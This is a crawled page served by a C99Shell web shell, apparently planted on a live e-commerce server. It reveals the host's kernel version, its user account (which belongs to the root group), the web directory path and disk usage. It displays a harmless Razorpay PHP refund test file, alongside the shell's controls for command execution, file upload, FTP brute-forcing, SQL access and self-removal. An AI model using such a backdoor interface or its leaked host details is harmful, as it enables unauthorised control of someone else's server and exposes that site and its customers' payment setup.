!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/vendor/razorpay/razorpay/tests/   drwxr-xr-x
Free 29.24 GB of 117.98 GB (24.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RefundTest.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Razorpay\Tests;

use 
Razorpay\Api\Request;

class 
RefundTest extends TestCase
{
    
/**
     * Specify unique payment id & refund id
     * for example pay_LatkcPaGiDxgRG & rfnd_IEjzeVghAS4vd1
     */

    
private $paymentId "pay_LatkcPaGiDxgRG";

    private 
$refundId "rfnd_Lcsb6JNwQVAtpi";

    public function 
setUp(): void
    
{
        
parent::setUp();
    }
    
    
/**
     * Create an instant refund
     */
    
public function testCreateRefund()
    {
       
$data $this->api->payment->fetch($this->paymentId)->refund(array("amount"=> "100""speed"=>"optimum""receipt"=>"Receipt No. ".time()));

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(in_array('refund',$data->toArray()));
    }


    
/**
     * Fetch multiple refunds for a payment
     */
    
public function testFetchMultipalRefund()
    {
        
$data $this->api->payment->fetch($this->paymentId)->fetchMultipleRefund(array("count"=>1));

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(is_array($data['items']));
    }

    
/**
     * Fetch a specific refund for a payment
     */
    
public function testFetchRefund()
    {
        
$data $this->api->payment->fetch($this->paymentId)->fetchRefund($this->refundId);

        
$this->assertTrue(is_array($data->toArray()));
      
    }

    
/**
     * Fetch all refunds
     */
    
public function testFetchAllRefund()
    {
        
$data $this->api->refund->all(array("count"=>1));

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(is_array($data['items']));
    }

    
/**
     * Fetch particular refund
     */
    
public function testParticularRefund()
    {
        
$data $this->api->refund->fetch($this->refundId);

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(in_array('refund',$data->toArray()));
    }
    
    
/**
     * Update the refund
     */
    
public function testUpdateRefund()
    {
        
$data $this->api->refund->fetch($this->refundId)->edit(array('notes'=> array('notes_key_1'=>'Beam me up Scotty.''notes_key_2'=>'Engage')));
        
        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(in_array('refund',$data->toArray()));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--